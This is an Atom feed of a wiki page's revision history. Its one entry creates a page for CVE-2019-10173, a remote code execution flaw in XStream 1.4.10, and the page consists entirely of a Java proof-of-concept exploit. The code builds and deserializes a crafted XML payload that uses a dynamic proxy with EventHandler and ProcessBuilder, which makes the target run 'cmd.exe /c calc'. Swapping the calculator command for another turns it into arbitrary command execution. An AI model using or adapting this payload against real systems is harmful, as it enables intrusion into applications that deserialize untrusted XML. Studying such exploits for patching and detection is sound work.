<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-10173_Xstream_1.4.10%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-10173 Xstream 1.4.10遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-10173_Xstream_1.4.10%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-10173_Xstream_1.4.10%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T06:35:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-10173_Xstream_1.4.10%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1462&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; package com.bigo;  import com.thoughtworks.xstream.XStream;  import java.beans.EventHandler; import java.io.IOException; import java.util.Set; import java.util.T...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-10173_Xstream_1.4.10%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1462&amp;oldid=prev"/>
		<updated>2021-04-10T05:37:37Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; package com.bigo;  import com.thoughtworks.xstream.XStream;  import java.beans.EventHandler; import java.io.IOException; import java.util.Set; import java.util.T...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package com.bigo;&lt;br /&gt;
&lt;br /&gt;
import com.thoughtworks.xstream.XStream;&lt;br /&gt;
&lt;br /&gt;
import java.beans.EventHandler;&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
import java.util.Set;&lt;br /&gt;
import java.util.TreeSet;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Created by cfchi on 2019/7/26.&lt;br /&gt;
 */&lt;br /&gt;
public class Main {&lt;br /&gt;
    public static String expGen(){&lt;br /&gt;
        XStream xstream = new XStream();&lt;br /&gt;
        Set&amp;lt;Comparable&amp;gt; set = new TreeSet&amp;lt;Comparable&amp;gt;();&lt;br /&gt;
        set.add(&amp;quot;foo&amp;quot;);&lt;br /&gt;
        set.add(EventHandler.create(Comparable.class, new ProcessBuilder(&amp;quot;calc&amp;quot;), &amp;quot;start&amp;quot;));&lt;br /&gt;
        String payload = xstream.toXML(set);&lt;br /&gt;
        System.out.println(payload);&lt;br /&gt;
        return payload;&lt;br /&gt;
    }&lt;br /&gt;
    public static void main(String[] args) throws IOException {&lt;br /&gt;
        expGen();&lt;br /&gt;
        XStream xStream = new XStream();&lt;br /&gt;
        String payload = &amp;quot;&amp;lt;sorted-set&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;    &amp;lt;string&amp;gt;foo&amp;lt;/string&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;    &amp;lt;dynamic-proxy&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;    &amp;lt;interface&amp;gt;java.lang.Comparable&amp;lt;/interface&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;        &amp;lt;handler class=\&amp;quot;java.beans.EventHandler\&amp;quot;&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;            &amp;lt;target class=\&amp;quot;java.lang.ProcessBuilder\&amp;quot;&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;                &amp;lt;command&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;                    &amp;lt;string&amp;gt;cmd.exe&amp;lt;/string&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;                    &amp;lt;string&amp;gt;/c&amp;lt;/string&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;                    &amp;lt;string&amp;gt;calc&amp;lt;/string&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;                &amp;lt;/command&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;            &amp;lt;/target&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;     &amp;lt;action&amp;gt;start&amp;lt;/action&amp;gt;&amp;quot;+&lt;br /&gt;
                &amp;quot;        &amp;lt;/handler&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;    &amp;lt;/dynamic-proxy&amp;gt;\n&amp;quot; +&lt;br /&gt;
                &amp;quot;&amp;lt;/sorted-set&amp;gt;\n&amp;quot;;&lt;br /&gt;
       xStream.fromXML(payload);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>